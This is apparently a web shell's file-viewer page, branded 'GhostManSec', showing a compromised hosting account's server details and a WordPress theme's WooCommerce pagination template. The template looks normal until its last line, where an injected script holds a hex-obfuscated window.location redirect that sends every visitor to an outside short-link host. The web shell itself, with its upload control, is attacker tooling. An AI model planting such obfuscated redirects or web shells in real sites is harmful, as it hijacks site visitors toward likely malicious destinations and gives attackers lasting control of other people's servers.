GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/www/wp-content/themes/around/woocommerce/loop/pagination.php
<?php
/**
 * Pagination - Show numbered pagination for catalog pages
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/loop/pagination.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce/Templates
 * @version 3.3.1
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

$max_pages = isset( $GLOBALS['wp_query']->max_num_pages ) ? $GLOBALS['wp_query']->max_num_pages : 1;
if ( $max_pages < 2 ) {
    return;
}

$paged = get_query_var( 'paged' ) ? (int) get_query_var( 'paged' ) : 1;
$links = paginate_links( apply_filters( 'around_posts_pagination_args', [
    'type'      => 'array',
    'mid_size'  => 2,
    'prev_next' => false,
] ) );

?>
<nav class="d-flex justify-content-between mb-4" aria-label="<?php
/* translators: aria-label for posts navigation wrapper */
echo esc_attr_x( 'Posts navigation', 'front-end', 'around' ); ?>">
    <ul class="pagination justify-content-center">
        <?php if ( $paged && 1 < $paged ) : ?>
            <li class="page-item">
                <a class="page-link" href="<?php echo esc_url( get_previous_posts_page_link() ); ?>">
                    <i class="fe-chevron-left"></i>
                    <span class="sr-only"><?php echo esc_html_x( 'Prev', 'front-end', 'around' ); ?></span>
                </a>
            </li>
        <?php endif; ?>
    </ul>
    <ul class="pagination justify-content-center">
        <li class="page-item d-sm-none">
            <span class="page-link page-link-static"><?php echo esc_html( "{$paged} / {$max_pages}" ); ?></span>
        </li>
        <?php foreach ( $links as $link ) : ?>
            <?php if ( false !== strpos( $link, 'current' ) ) : ?>
                <li class="page-item active d-none d-sm-block">
                    <?php echo str_replace( 'page-numbers', 'page-link', $link ); ?>
                </li>
            <?php else : ?>
                <li class="page-item d-none d-sm-block">
                    <?php echo str_replace( 'page-numbers', 'page-link', $link ); ?>
                </li>
            <?php endif; ?>
        <?php endforeach; ?>
    </ul>
    <ul class="pagination justify-content-center">
        <?php if ( $paged && $paged < $max_pages ) : ?>
            <li class="page-item">
                <a class="page-link" href="<?php echo esc_url( get_next_posts_page_link() ); ?>">
                    <span class="sr-only"><?php echo esc_html_x( 'Next', 'front-end', 'around' ); ?></span>
                    <i class="fe-chevron-right"></i>
                </a>
            </li>
        <?php endif; ?>
    </ul>
</nav>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>